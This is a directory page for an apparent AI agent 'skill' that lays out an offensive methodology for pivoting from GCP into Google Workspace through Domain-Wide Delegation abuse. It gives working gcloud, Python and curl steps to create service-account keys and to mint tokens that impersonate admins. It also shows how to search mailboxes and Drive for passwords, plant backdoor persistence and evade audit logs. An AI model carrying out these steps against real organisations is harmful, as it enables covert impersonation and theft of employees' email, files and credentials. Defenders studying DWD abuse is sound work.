SuperAPI AI Directory

gcp-workspace-pivot

General & other

View repository

Updated 10-16 05:07

About this skill

GCP to Google Workspace traversal attack methodology

GCP and Google Workspace both belong to the Google Cloud ecosystem, and the two are deeply bound through IAM and OAuth. Once an attacker obtains GCP Service Account or Project permissions, if the target organization also uses Google Workspace (formerly G Suite), it may be possible to traverse from cloud infrastructure to enterprise office systems—directly accessing all employees' email, files, calendars, contacts, and even the admin console.

Why this traversal is so lethal:

  • Extremely large impact surface: a Service Account configured with Domain-Wide Delegation (DWD) can impersonate any user in the organization
  • Privilege escalation without detection: DWD abuse does not require target user interaction or confirmation, and the impersonated user is completely unaware
  • Extremely high data value: enterprise email (Gmail), shared files (Drive), meeting schedules (Calendar), and organizational structure (Admin Directory) can all be accessed
  • Stealthy attack path: accessing Workspace APIs through OAuth Tokens generated by a Service Account differs from direct user login, and many organizations lack monitoring for this type of access

In-depth reference

After identifying a specific Workspace post-exploitation scenario, load the reference document to obtain complete technical details:

Core concept: Domain-Wide Delegation (DWD)

What DWD is

Domain-Wide Delegation is a Google Workspace feature that allows a GCP Service Account to access Google APIs on behalf of any user within the Workspace domain. Its workflow:

1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作

Why DWD is dangerous

  • Configuring DWD only requires the Service Account's OAuth Client ID and OAuth Scope,it is not bound to a specific user
  • Once configured, that SA can impersonateany user in the domain, including Super Admin
  • DWD configuration can only be managed manually in the Admin Console,it cannot be audited through the APIits historical changes
  • Many organizations configure DWD to automate workflows, but do not apply least-privilege restrictions

Prerequisites for DWD abuse

Condition Description
Possess the SA private key or be able to create a new key iam.serviceAccountKeys.create permission
The SA has DWD configured The SA's Client ID has been authorized in the Admin Console
Know at least one valid Workspace user email Used for impersonation; Super Admin works best
The SA has been granted useful OAuth Scopes Such as Gmail, Drive, Admin Directory, etc.

Attack chain: discovering and exploiting DWD

Step 1: Enumerate Service Accounts in the GCP project

# 列出当前项目的所有 Service Account
gcloud iam service-accounts list --project <project-id>

# 枚举所有可访问项目
for proj in $(gcloud projects list --format="value(projectId)"); do
  echo "=== Project: $proj ==="
  gcloud iam service-accounts list --project "$proj" \
    --format="table(email,displayName,disabled)" 2>/dev/null
done

Step 2: Check the SA's keys and permissions

# 列出 SA 的现有密钥
gcloud iam service-accounts keys list \
  --iam-account <sa-email> \
  --format="table(name,validAfterTime,validBeforeTime,keyType)"

# 检查当前用户对 SA 的权限(能否创建密钥)
gcloud iam service-accounts get-iam-policy <sa-email>

# 创建新密钥(如有权限)
gcloud iam service-accounts keys create ./sa-key.json \
  --iam-account <sa-email>

Step 3: Identify DWD configuration

DWD configuration cannot be queried directly through the GCP API and must be determined indirectly:

# 获取 SA 的 OAuth2 Client ID(唯一标识,用于 DWD 配置)
gcloud iam service-accounts describe <sa-email> \
  --format="value(oauth2ClientId)"

# 暴力尝试法:用 SA 密钥尝试生成委托令牌
# 如果成功,说明该 SA 已配置 DWD

Automated discovery: Use the DeleFriend tool to enumerate all SAs in bulk and try various OAuth Scope combinations to discover DWD configurations.

Step 4: Generate delegated tokens and impersonate users

from google.oauth2 import service_account
import google.auth.transport.requests

# 目标 OAuth Scope(根据需要选择)
SCOPES = [
    'https://www.googleapis.com/auth/gmail.readonly',
    'https://www.googleapis.com/auth/drive.readonly',
    'https://www.googleapis.com/auth/calendar.readonly',
    'https://www.googleapis.com/auth/admin.directory.user.readonly',
    'https://www.googleapis.com/auth/admin.directory.group.readonly',
]

# 加载 SA 凭据并设置委托用户
credentials = service_account.Credentials.from_service_account_file(
    'sa-key.json', scopes=SCOPES
)
# 冒充目标用户(Super Admin 效果最佳)
delegated_creds = credentials.with_subject('admin@target-org.com')

# 获取 Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")
# 使用生成的 Token 调用 API
TOKEN="<上一步获取的 token>"

# 测试 Gmail 访问
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"

# 测试 Drive 访问
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/drive/v3/files?pageSize=10"

Step 5: Try OAuth Scopes in bulk

When unsure which Scopes an SA is authorized for, try them one by one:

"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests

SCOPE_LIST = [
    'https://mail.google.com/',
    'https://www.googleapis.com/auth/gmail.readonly',
    'https://www.googleapis.com/auth/drive',
    'https://www.googleapis.com/auth/drive.readonly',
    'https://www.googleapis.com/auth/calendar',
    'https://www.googleapis.com/auth/calendar.readonly',
    'https://www.googleapis.com/auth/admin.directory.user',
    'https://www.googleapis.com/auth/admin.directory.user.readonly',
    'https://www.googleapis.com/auth/admin.directory.group',
    'https://www.googleapis.com/auth/admin.directory.domain',
    'https://www.googleapis.com/auth/cloud-platform',
    'https://www.googleapis.com/auth/contacts.readonly',
    'https://www.googleapis.com/auth/chat.messages.readonly',
]

for scope in SCOPE_LIST:
    try:
        creds = service_account.Credentials.from_service_account_file(
            'sa-key.json', scopes=[scope]
        )
        delegated = creds.with_subject('admin@target-org.com')
        delegated.refresh(google.auth.transport.requests.Request())
        print(f"[+] 有效 Scope: {scope}")
    except Exception as e:
        print(f"[-] 无效 Scope: {scope} ({e})")

Decision tree: GCP permissions → Workspace traversal paths

当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│   ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│   └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
│
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│   ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│   └─ 使用 DeleFriend 自动化枚举
│
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│   ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│   └─ 直接通过 Admin Console 操作(不需 DWD)
│
├─ 普通 Workspace 用户凭据
│   ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│   ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│   └─ gcloud auth login --enable-gdrive-access → 访问 Drive
│
└─ 仅有 GCP 项目 Viewer
    └─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径

OAuth Scope exploitation quick reference

High-value Scope list

OAuth Scope Capability Danger level
https://mail.google.com/ Gmail full read/write (including send) Very high
https://www.googleapis.com/auth/gmail.readonly Read all emails High
https://www.googleapis.com/auth/drive Drive full read/write Very high
https://www.googleapis.com/auth/admin.directory.user User management (create/delete users) Very high
https://www.googleapis.com/auth/admin.directory.group Group management High
https://www.googleapis.com/auth/admin.directory.domain Domain management Very high
https://www.googleapis.com/auth/calendar Calendar full read/write Medium
https://www.googleapis.com/auth/contacts Contacts read/write Medium
https://www.googleapis.com/auth/chat.messages Chat message read/write Medium
https://www.googleapis.com/auth/cloud-platform GCP full permissions Very high

gcloud credential hijacking

When there is physical access to a host already logged in to gcloud, existing credentials can be hijacked to access Workspace:

# 检查已认证的账户
gcloud auth list

# 使用 --enable-gdrive-access 重新登录,扩展 Scope 到 Drive
gcloud auth login --enable-gdrive-access

# 用获取的 Token 访问 Drive API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/drive/v3/files"

Advanced technique: Modify the google-cloud-sdk/lib/googlecloudsdk/core/config.py in CLOUDSDK_SCOPESto inject additional OAuth Scopes (such as https://www.googleapis.com/auth/drive), and the Token will automatically carry that Scope the next time the user logs in.

Workspace data theft quick reference

→ Read references/workspace-post-exploit.md

Service Key API Typical operations
Gmail gmail.googleapis.com/gmail/v1/users/me/messages Search/read emails, extract attachments
Drive www.googleapis.com/drive/v3/files List/download files, search sensitive documents
Calendar www.googleapis.com/calendar/v3/calendars Read meeting schedules, view attendees
Admin Directory admin.googleapis.com/admin/directory/v1/users Enumerate users/groups/domains, modify roles
Chat chat.googleapis.com/v1/spaces Read Chat messages
Contacts people.googleapis.com/v1/people/me/connections Get contacts

Quick data extraction commands

TOKEN="<delegated_access_token>"

# Gmail:搜索含密码的邮件
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"

# Drive:搜索敏感文件
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"

# Admin Directory:枚举所有用户
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"

# Admin Directory:枚举所有组
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"

Workspace persistence overview

Technique Prerequisites Stealthiness Persistence
Create a new DWD configuration Workspace Super Admin Medium Permanent (until manually deleted)
Cross-organization DWD Attacker GCP account + target Super Admin High Permanent
Gmail forwarding rules Impersonated user identity Low Persistent (until discovered)
Gmail filters to hide alerts Impersonated user identity High Persistent
OAuth App authorization User interaction or Admin permissions Medium Until revoked
Delegated mailbox access User settings or Admin permissions Medium Until revoked
Create a backdoor administrator account Admin Directory write permissions Low Until discovered
App Script scheduled trigger User interaction High Persistent
Modify gcloud SDK Scope Host physical/remote access High Until SDK update

Create new DWD to achieve persistence:

# 1. 在攻击者控制的 GCP 项目中创建 SA
gcloud iam service-accounts create backdoor-sa \
  --project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
  --iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com

# 2. 获取 SA 的 OAuth Client ID
gcloud iam service-accounts describe \
  backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
  --format="value(oauth2ClientId)"

# 3. 在目标 Workspace Admin Console 中添加 DWD
# https://admin.google.com/ac/owl/domainwidedelegation
# 填入 Client ID 和所需 OAuth Scope
# 注意:此步骤只能手动操作,无法通过 API 完成

Key Findings: DWD's OAuth Client ID is global,Cross-organization DWD is feasible—the SA of the attacker's GCP project can be configured as a delegated identity of the target Workspace organization. Only Super Admin access to the target Workspace is required to complete the configuration.

Recommended Tools

Tool Purpose Link/Command
DeleFriend Automated DWD discovery and exploitation github.com/axon-git/DeleFriend
DelePwn DeleFriend enhanced version, including domain enumeration/Drive/Gmail github.com/n0tspam/delepwn
gcpwn GCP comprehensive exploitation framework github.com/NetSPI/gcpwn
gcp_delegation.py Gitlab red team DWD exploitation script gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py
gcp_gen_delegation_token Generate delegated OAuth Token github.com/carlospolop/gcp_gen_delegation_token
google-api-python-client Google API Python SDK pip install google-api-python-client
PaperChaser Drive document spider crawling github.com/mandatoryprogrammer/PaperChaser

OPSEC Considerations

Workspace Audit Logs

The audit logs of the Google Workspace Admin Console record the following operations:

  • Admin audit logs: creation, deletion, and permission changes of users/groups
  • Login audit logs: login events (but SA impersonationdoes not generatelogin logs)
  • Drive audit logs: file viewing, downloading, sharing, and permission changes
  • Gmail audit logs: delegated access, email rule changes
  • Token audit logs: OAuth Token authorization and revocation
  • SAML audit logs: SSO-related events

High-Risk Alert Triggers

Operation Alert Level Description
Create new Admin user High Admin audit logs + email notification
Add new DWD configuration Medium Admin audit logs (but many organizations do not monitor them)
Large number of API calls Medium Anomalous traffic detection
Cross-geographic Token usage Low SA Tokens usually have no geographic restrictions
Gmail forwarding rule changes High Security alerts pushed to the user's phone
OAuth App authorization Medium Depends on organizational policy

OPSEC Recommendations

  • Impersonate an SA instead of logging in as a user: Tokens generated by an SA through DWD will not trigger user login alerts
  • Control the API call rate: avoid triggering anomaly detection with a large number of requests in a short time
  • Prefer read-only Scopes:readonly Scopes generate fewer audit entries than read-write Scopes
  • Choose the impersonation target: it is not necessary to impersonate a Super Admin; ordinary users' operations are less likely to attract attention
  • Be cautious with Gmail operations: creating forwarding rules/filters will trigger security alerts pushed to the user's phone

Cross-References

  • Reference gcp-pentesting Skills, obtain the overall GCP attack process and initial permission acquisition methods
  • Refer to gcp-exploit skills, obtain GCP privilege escalation and Service Account related exploitation techniques